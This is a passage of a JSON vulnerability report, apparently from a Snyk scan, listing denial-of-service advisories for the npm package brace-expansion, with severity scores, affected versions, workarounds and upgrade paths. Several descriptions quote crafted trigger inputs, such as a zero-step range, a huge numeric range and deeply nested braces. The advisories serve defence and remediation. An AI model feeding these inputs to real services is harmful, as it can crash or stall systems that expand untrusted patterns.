"2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do 